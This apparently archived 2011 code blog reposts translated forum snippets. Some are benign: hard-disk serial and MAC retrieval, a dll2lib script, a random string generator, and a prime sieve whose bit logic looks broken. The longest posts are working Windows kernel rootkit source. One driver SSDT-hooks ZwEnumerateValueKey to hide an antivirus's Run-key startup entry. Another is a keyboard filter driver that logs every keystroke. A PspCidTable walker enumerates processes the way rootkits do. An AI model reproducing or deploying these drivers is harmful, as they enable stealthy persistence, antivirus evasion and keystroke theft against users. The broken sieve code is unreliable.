Wednesday, September 21, 2011

Code for get hard disk ID/network card MAC

Author:AZMC
Be free and at leisure, Neaten code for hard disk ID/network card MAC.


Code:
// =============================================================================
// xID.h - 获取机器 ID - Azithromycin.13 - 2008.05.12
// =============================================================================

#pragma once

#ifndef _X_ID_
#define _X_ID_

typedef struct _IDSECTOR {
  USHORT  wGenConfig;
  USHORT  wNumCyls;
  USHORT  wReserved;
  USHORT  wNumHeads;
  USHORT  wBytesPerTrack;
  USHORT  wBytesPerSector;
  USHORT  wSectorsPerTrack;
  USHORT  wVendorUnique[3];
  CHAR  sSerialNumber[20];
  USHORT  wBufferType;
  USHORT  wBufferSize;
  USHORT  wECCSize;
  CHAR  sFirmwareRev[8];
  CHAR  sModelNumber[40];
  USHORT  wMoreVendorUnique;
  USHORT  wDoubleWordIO;
  USHORT  wCapabilities;
  USHORT  wReserved1;
  USHORT  wPIOTiming;
  USHORT  wDMATiming;
  USHORT  wBS;
  USHORT  wNumCurrentCyls;
  USHORT  wNumCurrentHeads;
  USHORT  wNumCurrentSectorsPerTrack;
  ULONG  ulCurrentSectorCapacity;
  USHORT  wMultSectorStuff;
  ULONG  ulTotalAddressableSectors;
  USHORT  wSingleWordDMA;
  USHORT  wMultiWordDMA;
  BYTE  bReserved[128];
} IDSECTOR, *PIDSECTOR;

extern char xID[ 64 ];

void xGetHardDiskID();
void xGetNetCardID();

#endif

// =============================================================================
// xID.cpp - 获取机器 ID - Azithromycin.13 - 2008.05.12
// =============================================================================

#include "stdafx.h"

#include "xID.h"

#include <winioctl.h>

char xID[ 64 ] = { 0 };

void xGetHardDiskID()
{
  HANDLE hDevice;
  BOOL bResult;
  DWORD dwRet;

  memset( ( void* )xID,0,64 );

  hDevice = CreateFile( "\\\\.\\PhysicalDrive0",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL  );
  if( hDevice == INVALID_HANDLE_VALUE ) return;

  GETVERSIONINPARAMS vip;
  bResult = DeviceIoControl( hDevice,SMART_GET_VERSION,NULL,0,&vip,sizeof( GETVERSIONINPARAMS ),&dwRet,NULL );
  if( !bResult ) {
    CloseHandle( hDevice );
    return;
  }
  if( vip.bIDEDeviceMap == 0 ) {
    CloseHandle( hDevice );
    return;
  }

  SENDCMDINPARAMS cmdin;
  memset( ( void* )&cmdin,0,sizeof( cmdin ) );
  cmdin.irDriveRegs.bSectorCountReg = 0x01;
  cmdin.irDriveRegs.bSectorNumberReg = 0x01;
  cmdin.irDriveRegs.bFeaturesReg = 0x00;
  cmdin.bDriveNumber = 0x00;
  cmdin.irDriveRegs.bCylLowReg = 0x00;
  cmdin.irDriveRegs.bCylHighReg = 0x00;
  cmdin.irDriveRegs.bDriveHeadReg = 0xa0;
  cmdin.irDriveRegs.bCommandReg = 0xec;
  cmdin.cBufferSize = 0x200;

  BYTE cmdout[ sizeof( SENDCMDOUTPARAMS ) + 512 -1 ];
  memset( ( void* )cmdout,0,sizeof( SENDCMDOUTPARAMS ) + 512 -1 );
  SENDCMDOUTPARAMS* pcmdout = ( SENDCMDOUTPARAMS* )&cmdout;
  pcmdout->cBufferSize = 0x200;

  bResult = DeviceIoControl(  hDevice,SMART_RCV_DRIVE_DATA,( LPVOID )&cmdin,sizeof( SENDCMDINPARAMS ),cmdout,sizeof( cmdout ),&dwRet,NULL );
  if( !bResult ) {
    CloseHandle( hDevice );
    return;
  }

  IDSECTOR* pisd = ( IDSECTOR* )&cmdout[ sizeof( SENDCMDOUTPARAMS ) - 1 ];

  char tmpch1,tmpch2;
  int j = 0;
  for( int i = 0; i < sizeof( pisd->sSerialNumber ); i += 2 ) {
    tmpch1 = pisd->sSerialNumber[ i + 1 ];
    tmpch2 = pisd->sSerialNumber[ i  ];
    if( isdigit( tmpch1 ) || isalpha( tmpch1 ) ) {
      xID[ j++ ] = tmpch1;
    }
    if( isdigit( tmpch2 ) || isalpha( tmpch2 ) ) {
      xID[ j++ ] = tmpch2;
    }
  }

  CloseHandle( hDevice );
}

#include <Iphlpapi.h.>
#pragma comment( lib,"Iphlpapi.lib" )

void xGetNetCardID()
{
  PIP_ADAPTER_INFO pinfo;
  unsigned char buf[ 4096 ];
  unsigned long len = 4096;
  unsigned long nError = 0;

  ZeroMemory( buf,4096 );
  pinfo = ( PIP_ADAPTER_INFO )buf;

  nError = GetAdaptersInfo( pinfo,&len );
  if( nError == ERROR_SUCCESS ) {
    sprintf( xID,"%02X%02X%02X%02X%02X%02X",pinfo->Address[0],pinfo->Address[1],pinfo->Address[2],pinfo->Address[3],pinfo->Address[4],pinfo->Address[5] );
  }
}

===〉调用相应的函数,ID 保存在 xID 数组中。
===〉一般地,要从 PhysicalDrive0/PhysicalDrive1/PhysicalDrive2/PhysicalDrive3 循环获取。
===〉以下为 VBScript 代码

strComputer = "."  'Dot (.) equals local computer in WMI

Set objWMIService = GetObject("winmgmts:\\" & strComputer)
Set colServices = objWMIService.InstancesOf("Win32_PhysicalMedia")

For Each objService In colServices
    WScript.Echo "Win32_PhysicalMedia--Tag         :" & objService.Tag & vbCrLf & _
                 "                   --SerialNumber:" & Trim(objService.SerialNumber) & vbCrLf
Next

Set colServices = objWMIService.InstancesOf("Win32_Processor")

For Each objService In colServices
    WScript.Echo "Win32_Processor--ProcessorId:" & objService.ProcessorId & vbCrLf & _
                 "               --UniqueId   :" & Trim(objService.UniqueId) & vbCrLf
Next

Set colServices = objWMIService.InstancesOf("Win32_NetworkAdapter")

For Each objService In colServices
    WScript.Echo "Win32_NetworkAdapter--MACAddress:" & objService.MACAddress & vbCrLf
Next

Set colServices = objWMIService.InstancesOf("Win32_BIOS")

For Each objService In colServices
    WScript.Echo "Win32_BIOS--SerialNumber :" & objService.SerialNumber & vbCrLf
Next

Set colServices = objWMIService.InstancesOf("Win32_BaseBoard")

For Each objService In colServices
    WScript.Echo "Win32_BaseBoard--Tag          :" & objService.Tag & vbCrLf & _
                 "               --SerialNumber :" & objService.SerialNumber & vbCrLf
Next

Tuesday, September 20, 2011

dll2lib

Author:forgot
echo off
cls
set def=%~n1.def
set exp=%~n1.exp
echo dll2lib by forgot
if "%1"=="" (
  echo syntax: dll2lib dllfile
  goto exit
)
echo EXPORTS >%def%
for /f "usebackq skip=20 tokens=1,2,3,4,5*" %%i in (`dumpbin /nologo /exports %1`) do (
  if "%%l" == "(forwarded" (
    echo %%k >>%def%
  ) else (
    if not "%%l" == "" (
      if "%%m" == "" (
        echo %%l >>%def%
      )
    )
  )
)
lib /def:%def% /machine:ix86 /nologo
del %exp%
del %def%
:exit
pause

Monday, September 19, 2011

Random string generation function

Author:火影
Wrote for play, Don't laugh at me!
#include "stdafx.h"
#include <stdio.h>
#include "windows.h"
#pragma comment(lib,"winmm.lib")

int main(int argc, char* argv[])
{
  int RanNum;
  int n1,n2;
  int count;
  char *buffer;
  char ch;
  //Generation seed
  srand((unsigned(timeGetTime())));
  RanNum=rand();
  n1=RanNum%10;
  printf("Random number%d\n",n1);
  n1++;
  buffer=(char *)VirtualAlloc(NULL,2*n1,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
  memset((void *)buffer,0,2*n1);
  for (count=0;count<(2*n1-1);count++)
  {
    RanNum=rand();
    n2=RanNum%52;
    printf("Random number%d\n",n2);
    if (n2>=26)
    {
      ch=n2&0x0F;
      ch+=0x47;  //'a'------'z'
    }
    else
    {
      ch=n2&0x0F;
      ch+=0x41;  //'A'-----'Z'
    }
    buffer[count]=ch;
   
  }
  printf("Generate random string%s\n",buffer);
  VirtualFree(buffer,2*n1,MEM_DECOMMIT);
  return 0;
}

Sunday, September 18, 2011

Prime factor resolve on C

 Author:Yangs
Maximum number is in favor of 4294967294, i.e. scanf("%lu") can go to maximum number.

Because resolve 4294967294 only to need prime table of 65535, Speed is more quickly.

In theory, 2.5×10^17 is resolved both short time. 2.5×10^17 need prime table of 500000000, My computer need 12.015 s

Code:
/**

 *   N*30+1, N*30+7, N*30+11, N*30+13, N*30+17, N*30+19, N*30+23, N*30+29

**/

#include "stdio.h"
#include "math.h"

long unsigned NUM;

char* real;;

long unsigned k;


inline void wtable(register unsigned long a)
{
    register unsigned long b;
    b=a/30;
    a=a%30;
    switch(a)
    {
      case 1:real[b]=real[b]&&!1;break;
      case 7:real[b]=real[b]&&!(1<<1);break;
      case 11:real[b]=real[b]&&!(1<<2);break;
      case 13:real[b]=real[b]&&!(1<<3);break;
      case 17:real[b]=real[b]&&!(1<<4);break;
      case 19:real[b]=real[b]&&!(1<<5);break;
      case 23:real[b]=real[b]&&!(1<<6);break;
      case 29:real[b]=real[b]&&!(1<<7);
      default:;
    }
}

inline int rtable(register unsigned long a)
{
  register unsigned long b;
  if(a>5)
  {
    b=a/30;
    if(real[b]==0)return 0;
    a=a%30;
    switch(a)
    {
      case 1:return real[b]&&1;
      case 7:return real[b]&&(1<<1);
      case 11:return real[b]&&(1<<2);
      case 13:return real[b]&&(1<<3);
      case 17:return real[b]&&(1<<4);
      case 19:return real[b]&&(1<<5);
      case 23:return real[b]&&(1<<6);
      case 29:return real[b]&&(1<<7);
      default:return 0;
    }
  }
  else
  {
    switch(a)
    {
      case 2:return 1;
      case 3:return 1;
      case 5:return 1;
      default:return 0;
    }
  }
}

void suShu()
{


  register unsigned long i=3,j,step;

  for(j=0; j<NUM/30+1; j++)
  {
    real[j] = 0xFF;//初始化数组
  }

  while(i<=k)
  {
  if(rtable(i)==0)
    {
      step=i<<1;
      for(j=i*i;j<=NUM;j+=step)
      wtable(j);
    }
    ++i;
    ++i;
  }

}


int main()
{
  unsigned long in;
  register unsigned long i;
  int f=0;
  printf("please inpout the No.:\n");
  scanf("%lu",&in);
  NUM=(unsigned long)sqrt((long double)in);
  real = new char[NUM/30+1];
  k = (long)sqrt((double)NUM);
  suShu();
  printf("%lu=",in);
  for (i=2;i<=NUM;i++)
  {
    if(rtable(i)==0)
      continue;
    else
    {
      if(in%i!=0)
        continue;
      else
      {
        in=in/i;
        i--;
        printf("%ld*",i+1);
        f=1;
      }
    }

  }
  if(in==1&f==1)printf("\b");
  else if(f==1)printf("%ld",in);
  else if(in<2)printf("\b can not factorization !");
  else printf("\b is prime number !");

  return 0;
}

Saturday, September 17, 2011

Simple algorithm traverse handle table of PspCidTable

Author:hatling
Code:
ULONG GetPspCidTable()
{
  ULONG PspCidTable=0;
  ULONG FuncAddr=NULL;
  UNICODE_STRING FuncName={0};
 
  RtlInitUnicodeString(&FuncName,L"PsLookupProcessByProcessId");
  FuncAddr=(ULONG)MmGetSystemRoutineAddress(&FuncName);
  for (;;FuncAddr++)
  {
    if ((0x35ff==(*(PUSHORT)FuncAddr)) && (0xe8==(*(PUCHAR)(FuncAddr+6))))
    { 
      PspCidTable=*(PULONG)(FuncAddr+2);
      break;
    } 
   
  }
  return PspCidTable;
}

#define OBJECT_BODY_TO_TYPE 0x10
//从3级表开始遍历
ULONG BrowseTableL3(ULONG TableAddr)
{
  ULONG Object=0;
  ULONG ItemCount=511;

  do
  {
    TableAddr+=8;
    Object=*(PULONG)TableAddr;
    Object&=0xfffffff8;
   
    if (Object==0)
    {
      continue;
    }
    if ((*PsProcessType)==(*(PULONG)(Object-OBJECT_BODY_TO_TYPE)))
    {
      KdPrint(("%s",PsGetProcessImageFileName((PEPROCESS)Object)));
    }   
  } while (--ItemCount>0);
 
  return 0;
}

//从二级表开始遍历
ULONG BrowseTableL2(ULONG TableAddr)
{
  do
  {
    BrowseTableL3(*(PULONG)TableAddr);
    TableAddr+=4;
  } while ((*(PULONG)TableAddr)!=0);

  return 0;
}

//从1级表开始遍历
ULONG BrowseTableL1(ULONG TableAddr)
{
  do
  {
    BrowseTableL2(*(PULONG)TableAddr);
    TableAddr+=4;
  } while ((*(PULONG)TableAddr)!=0);

  return 0;
}

VOID RefreshProcessByPspCidTable()
{
  ULONG PspCidTable=0;
  ULONG HandleTable=0;
  ULONG TableCode=0;
  ULONG flag=0;

  PspCidTable=GetPspCidTable();
  HandleTable=*(PULONG)PspCidTable;
  TableCode=*(PULONG)HandleTable;
  flag=TableCode&3;
  TableCode&=0xfffffffc; 
 
  switch (flag)
  {
  case 0:
    BrowseTableL3(TableCode);
    break;
  case 1:
    BrowseTableL2(TableCode);
    break;
  case 2:
    BrowseTableL1(TableCode);
    break;   
  }

Friday, September 16, 2011

Hide key value of registry

Author:liukeblue
Wrote a simple driver about Hide key value of registry, Through HOOK ZwEnumerateValueKey  to realize.
Code:
#include <ntddk.h>
#include <stdio.h>

//定义ObQueryNameString
NTSYSAPI NTSTATUS NTAPI ObQueryNameString(
                IN PVOID Object,
            OUT PVOID ObjectNameInfo,
            IN ULONG Length,
            OUT PULONG ReturnLength
            );

//定义ZwEnumerateValueKey
NTSYSAPI NTSTATUS NTAPI ZwEnumerateValueKey(
            IN HANDLE KeyHandle,
            IN ULONG Index,
            IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
            OUT PVOID KeyValueInformation,
            IN ULONG Length,
            OUT PULONG ResultLength
            );


//定义要Hook的API函数原型                     
NTSTATUS MyZwEnumerateValueKey(
            IN HANDLE KeyHandle,
            IN ULONG Index,
            IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
            OUT PVOID KeyValueInformation,
            IN ULONG Length,
            OUT PULONG ResultLength
            );                     
                     
                     
//声明函数指针,并且函数返回值为NTSTATUS类型                   
typedef NTSTATUS (*REALZWENUMERATEVALUEKEY)(
               IN HANDLE KeyHandle,
            IN ULONG Index,
            IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
            OUT PVOID KeyValueInformation,
            IN ULONG Length,
            OUT PULONG ResultLength
            );                     
                 
           
REALZWENUMERATEVALUEKEY RealZwEnumerateValueKey=NULL;

//这就是要隐藏的键值,这里我隐藏的键值是瑞星杀毒软件的启动项,你也可以改成别的
PWSTR HideValue=L"RavTray";  

#pragma pack(1)
typedef struct ServiceDescriptorEntry{
        unsigned int  *ServiceTableBase;
    unsigned int  *ServiceCounterTableBase;
    unsigned int  *NumberOfServices;
    unsigned char *ParamTableBase;
}ServiceDescriptorTableEntry_t,*PServiceDescriptorTableEntry_t;
#pragma pack() 

_declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
 
#define SYSCALL(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)] 

NTSTATUS HookApi();
NTSTATUS UnHook();
PVOID GetPointer(HANDLE handle);
NTSTATUS DriverUnload(IN PDRIVER_OBJECT DriverObject);






PVOID GetPointer(HANDLE handle)
{
PVOID pKey;
if(!handle) return NULL;
if (ObReferenceObjectByHandle(handle,0,NULL,KernelMode,&pKey,NULL)!=STATUS_SUCCESS)
{
pKey=NULL;
}
return pKey;
}


NTSTATUS MyZwEnumerateValueKey(
            IN HANDLE KeyHandle,
            IN ULONG Index,
            IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
            OUT PVOID KeyValueInformation,
            IN ULONG Length,
            OUT PULONG ResultLength
            )
{
  PVOID pKey;
  UNICODE_STRING *pUniName;
  ULONG actuallen;
  UNICODE_STRING uStrValueName;
  ANSI_STRING keyname;
  NTSTATUS status;
  PWSTR ValueName;
  ULONG NameLen;

  status=((REALZWENUMERATEVALUEKEY)(RealZwEnumerateValueKey))(
                                 KeyHandle,
                     Index,
                     KeyValueInformationClass,
                     KeyValueInformation,
                       Length,
                       ResultLength);
   pKey=GetPointer(KeyHandle); 
 
   if (pKey)
   {
    pUniName=ExAllocatePool(NonPagedPool,1024*2);
  pUniName->MaximumLength=512*2;
  memset(pUniName,0,pUniName->MaximumLength);
  if(NT_SUCCESS(ObQueryNameString(pKey,pUniName,512*2,&actuallen)))
  {
     RtlUnicodeStringToAnsiString(&keyname,pUniName,TRUE);   
    
   DbgPrint("%ws\n",pUniName->Buffer); 
   keyname.Buffer=_strupr(keyname.Buffer);
  
   if (strcmp(keyname.Buffer,"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN")==0)
    {
        ValueName =((PKEY_VALUE_FULL_INFORMATION)KeyValueInformation)->Name; 
        if (ValueName!=NULL&&wcsstr(ValueName,HideValue)!=NULL)
        {
        Index++;
    ValueName=NULL;
    return ((REALZWENUMERATEVALUEKEY)(RealZwEnumerateValueKey))(
                                 KeyHandle,
                     Index,
                     KeyValueInformationClass,
                     KeyValueInformation,
                       Length,
                       ResultLength);
    }
  //DbgPrint("ValueName=%ws\n",ValueName); 
        
     }
   }
  }

return ((REALZWENUMERATEVALUEKEY)(RealZwEnumerateValueKey))(
                                 KeyHandle,
                     Index,
                     KeyValueInformationClass,
                     KeyValueInformation,
                       Length,
                       ResultLength);

}




NTSTATUS HookApi()
{
    RealZwEnumerateValueKey = (REALZWENUMERATEVALUEKEY)SYSCALL(ZwEnumerateValueKey);
_asm{
   mov eax,cr0
   and eax,not 10000h
   mov cr0,eax
    }

(REALZWENUMERATEVALUEKEY)SYSCALL(ZwEnumerateValueKey)=MyZwEnumerateValueKey;
_asm{

   mov eax,cr0
   or eax,10000h
   mov cr0,eax
}
return( STATUS_SUCCESS );
}



NTSTATUS UnHook()
{
_asm{
   mov eax,cr0
   and eax,not 10000h
   mov cr0,eax
}
(REALZWENUMERATEVALUEKEY)SYSCALL(ZwEnumerateValueKey) = RealZwEnumerateValueKey;
_asm{ 
    
   mov eax,cr0
   or eax,10000h
   mov cr0,eax
}
return STATUS_SUCCESS ;
} 




NTSTATUS DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
NTSTATUS status;
DbgPrint("OnUnload called!\n");
status=UnHook();
return status;
}


NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
           IN PUNICODE_STRING theRegistryPath)
{

  theDriverObject->DriverUnload=DriverUnload;
    HookApi();
  DbgPrint("Hook Called!\n");
  return STATUS_SUCCESS ;
}

Thursday, September 15, 2011

Learn to Bypass driver --- Keybard monitor

Author:cxhcxh
Learn bypass driver, Please commment more.

Code:
//////////////////////////////////////////////////////////////////////////
//作者:cxh
//
//功能:键盘过滤,监视
//
//邮箱:cxh852456@163.com
//////////////////////////////////////////////////////////////////////////

#include <ntddk.h>
#include <ntddkbd.h>

PDEVICE_OBJECT selfdevice,targetdevice;;

PIRP pcancel;

#define PAGEDCODE code_seg("PAGE")
#define LOCKEDCODE code_seg()
#define INITCODE code_seg("INIT")

#pragma LOCKEDCODE
NTSTATUS CompeleteRoutin(IN PDEVICE_OBJECT DeviceObject,
             IN PIRP Irp,
             IN PVOID Context
             )
{

      PKEYBOARD_INPUT_DATA key;
    if (Irp->PendingReturned==TRUE)
    {
      IoMarkIrpPending(Irp);
    }
    key = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer;
        _try{
        if (key->Flags==KEY_MAKE && key->MakeCode)
        {
         
          switch (key->MakeCode)
          {
          case 0x1:
            DbgPrint("ESC KeyDown");
            break;
          case 0x2:
            DbgPrint("1 KeyDown");
            break;
          case 0x3:
            DbgPrint("2 KeyDown");
            break;
          case 0x4:
            DbgPrint("3 KeyDown");
            break;
          case 0x5:
            DbgPrint("4 KeyDown");
            break;
          case 0x6:
            DbgPrint("5 KeyDown");
            break;
          case 0x7:
            DbgPrint("6 KeyDown");
            break;
          case 0x8:
            DbgPrint("7 KeyDown");
            break;
          case 0x9:
            DbgPrint("8 KeyDown");
            break;
          case 0xA:
            DbgPrint("9 KeyDown");
            break;
          case 0xB:
            DbgPrint("0 KeyDown");
            break;
          case 0xC:
            DbgPrint("- KeyDown");
            break;
          case 0xD:
            DbgPrint("= KeyDown");
            break;
          case 0xE:
            DbgPrint("BACKSPACE KeyDown");
            break;
          case 0xF:
            DbgPrint("TAB KeyDown");
            break;
          case 0x10:
            DbgPrint("Q KeyDown");
            break;
          case 0x11:
            DbgPrint("W KeyDown");
            break;
          case 0x12:
            DbgPrint("E KeyDown");
            break;
          case 0x13:
            DbgPrint("R KeyDown");
            break;
          case 0x14:
            DbgPrint("T KeyDown");
            break;
          case 0x15:
            DbgPrint("Y KeyDown");
            break;
          case 0x16:
            DbgPrint("U KeyDown");
            break;
          case 0x17:
            DbgPrint("I KeyDown");
            break;
          case 0x18:
            DbgPrint("O KeyDown");
            break;
          case 0x19:
            DbgPrint("P KeyDown");
            break;
          case 0x1A:
            DbgPrint("[ KeyDown");
            break;
          case 0x1B:
            DbgPrint("] KeyDown");
            break;
          case 0x2B:
            DbgPrint("\\ KeyDown");
            break;
          case 0x1D:
            DbgPrint("LEFT CTRL KeyDown");
            break;
          case 0x1E:
            DbgPrint("A KeyDown");
            break;
          case 0x1F:
            DbgPrint("S KeyDown");
            break;
          case 0x20:
            DbgPrint("D KeyDown");
            break;
          case 0x21:
            DbgPrint("F KeyDown");
            break;
          case 0x22:
            DbgPrint("G KeyDown");
            break;
          case 0x23:
            DbgPrint("H KeyDown");
            break;
          case 0x24:
            DbgPrint("J KeyDown");
            break;
          case 0x25:
            DbgPrint("K KeyDown");
            break;
          case 0x26:
            DbgPrint("L KeyDown");
            break;
          case 0x27:
            DbgPrint("; KeyDown");
            break;
          case 0x28:
            DbgPrint("' KeyDown");
            break;
          case 0x29:
            DbgPrint("` KeyDown");
            break;
          case 0x2A:
            DbgPrint("LEFT SHIFT KeyDown");
            break;
          case 0x1C:
            DbgPrint("ENTER KeyDown");
            break;
          case 0x2C:
            DbgPrint("Z KeyDown");
            break;
          case 0x2D:
            DbgPrint("X KeyDown");
            break;
          case 0x2E:
            DbgPrint("C KeyDown");
            break;
          case 0x2F:
            DbgPrint("V KeyDown");
            break;
          case 0x30:
            DbgPrint("B KeyDown");
            break;
          case 0x31:
            DbgPrint("N KeyDown");
            break;
          case 0x32:
            DbgPrint("M KeyDown");
            break;
          case 0x33:
            DbgPrint(", KeyDown");
            break;
          case 0x34:
            DbgPrint(". KeyDown");
            break;
          case 0x35:
            DbgPrint("/ KeyDown");
            break;
          case 0x36:
            DbgPrint("RIGHT SHIFT KeyDown");
            break;
          case 0x37:
            DbgPrint("* KeyDown");
            break;
          case 0x38:
            DbgPrint("LEFT ALT KeyDown");
            break;
          case 0x39:
            DbgPrint("SPACE KeyDown");
            break;
          case 0x3A:
            DbgPrint("CAP LOCK KeyDown");
            break;
          case 0x3B:
            DbgPrint("F1 KeyDown");
            break;
          case 0x3C:
            DbgPrint("F2 KeyDown");
            break;
          case 0x3D:
            DbgPrint("F3 KeyDown");
            break;
          case 0x3E:
            DbgPrint("F4 KeyDown");
            break;
          case 0x3F:
            DbgPrint("F5 KeyDown");
            break;
          case 0x40:
            DbgPrint("F6 KeyDown");
            break;
          case 0x41:
            DbgPrint("F7 KeyDown");
            break;
          case 0x42:
            DbgPrint("F8 KeyDown");
            break;
          case 0x43:
            DbgPrint("F9 KeyDown");
            break;
          case 0x44:
            DbgPrint("F10 KeyDown");
            break;
          case 0x45:
            DbgPrint("NumLock KeyDown");
            break;
          case 0x46:
            DbgPrint("小键盘 / KeyDown");
            break;
          case 0x47:
            DbgPrint("小键盘 7 KeyDown");
            break;
          case 0x48:
            DbgPrint("小键盘 8 KeyDown");
            break;
          case 0x49:
            DbgPrint("小键盘 9 KeyDown");
            break;
          case 0x4A:
            DbgPrint("小键盘 - KeyDown");
            break;
          case 0x4B:
            DbgPrint("小键盘 4 KeyDown");
            break;
          case 0x4C:
            DbgPrint("小键盘 5 KeyDown");
            break;
          case 0x4D:
            DbgPrint("小键盘 6 KeyDown");
            break;
                    case 0x4E:
            DbgPrint("小键盘 + KeyDown");
            break;
          case 0x4F:
            DbgPrint("小键盘 1 KeyDown");
            break;
          case 0x50:
            DbgPrint("小键盘 2 KeyDown");
            break;
          case 0x51:
            DbgPrint("小键盘 3 KeyDown");
            break;
          case 0x52:
            DbgPrint("小键盘 0 KeyDown");
            break;
          case 0x53:
            DbgPrint("小键盘 . KeyDown");
            break;
          case 0x57:
            DbgPrint("F11 KeyDown");
            break;
          case 0x58:
            DbgPrint("F12 KeyDown");
            break;

          default:
            DbgPrint("%X",key->MakeCode);
            break;
          }
        }
    }_except(EXCEPTION_CONTINUE_EXECUTION)
    {
                DbgPrint("%x",GetExceptionCode());
    }
    return STATUS_CONTINUE_COMPLETION;

   
  
}

#pragma PAGEDCODE
NTSTATUS
Dispatch(
     IN PDEVICE_OBJECT  DeviceObject,
     IN PIRP  Irp
    )
{

  IoSkipCurrentIrpStackLocation(Irp);
  return IoCallDriver(targetdevice,Irp);
}

NTSTATUS
DispatchRead(
          IN PDEVICE_OBJECT  DeviceObject,
          IN PIRP  Irp
    )
{
  PIO_STACK_LOCATION irpsp;
  NTSTATUS s;
  PKEYBOARD_INPUT_DATA key;


  //DbgPrint("read");

  pcancel = Irp;
    IoCopyCurrentIrpStackLocationToNext(Irp);
//    IoSkipCurrentIrpStackLocation(Irp);

  IoSetCompletionRoutine(Irp,CompeleteRoutin,NULL,TRUE,TRUE,TRUE);

  return IoCallDriver(targetdevice,Irp);

}



VOID
Unload(
      IN PDRIVER_OBJECT  DriverObject
    )
{
  IoCancelIrp(pcancel);

  IoDetachDevice(targetdevice);
  IoDeleteDevice(selfdevice);
  DbgPrint("Driver Unload!");
}



NTSTATUS
DriverEntry(
      IN PDRIVER_OBJECT  DriverObject,
      IN PUNICODE_STRING  RegistryPath
    )
{
    PDEVICE_OBJECT device;
  PFILE_OBJECT file;
  NTSTATUS s;
    UNICODE_STRING DeviceName;
  ULONG i;


  DbgPrint("Driver loaded!");
  DriverObject->DriverUnload = Unload;

  for (i=0;i<=IRP_MJ_MAXIMUM_FUNCTION;i++)
  {
    DriverObject->MajorFunction[i] = Dispatch;
  }

  DriverObject->MajorFunction[IRP_MJ_READ]=DispatchRead;


 
  RtlInitUnicodeString(&DeviceName,L"\\Device\\KeyboardClass0");

  s = IoGetDeviceObjectPointer(&DeviceName,FILE_ALL_ACCESS,&file,&device);

  if (!NT_SUCCESS(s))
  {
    DbgPrint("Get Device error!");
    return s;
  }
   
  s = IoCreateDevice(DriverObject,
                    0,
                        NULL,
            device->Type,
            device->Characteristics,
            TRUE,
            &selfdevice
            );
  if (!NT_SUCCESS(s))
  {
    ObDereferenceObject(file);
    DbgPrint("Create Device Faile!!!");
    return s;
  }
   
    targetdevice = IoAttachDeviceToDeviceStack(selfdevice,device);

  if (!targetdevice)
  {
    IoDeleteDevice(selfdevice);
    ObDereferenceObject(file);
    DbgPrint("attach faile");
    return STATUS_INSUFFICIENT_RESOURCES;
  }

  selfdevice->DeviceType = targetdevice->DeviceType;
  selfdevice->Characteristics = targetdevice->Characteristics;
  selfdevice->Flags &=~DO_DEVICE_INITIALIZING;
  selfdevice->Flags |=(targetdevice->Flags & (DO_DIRECT_IO | DO_BUFFERED_IO));

  ObDereferenceObject(file);
  DbgPrint("SUCCESS");

  return STATUS_SUCCESS;
}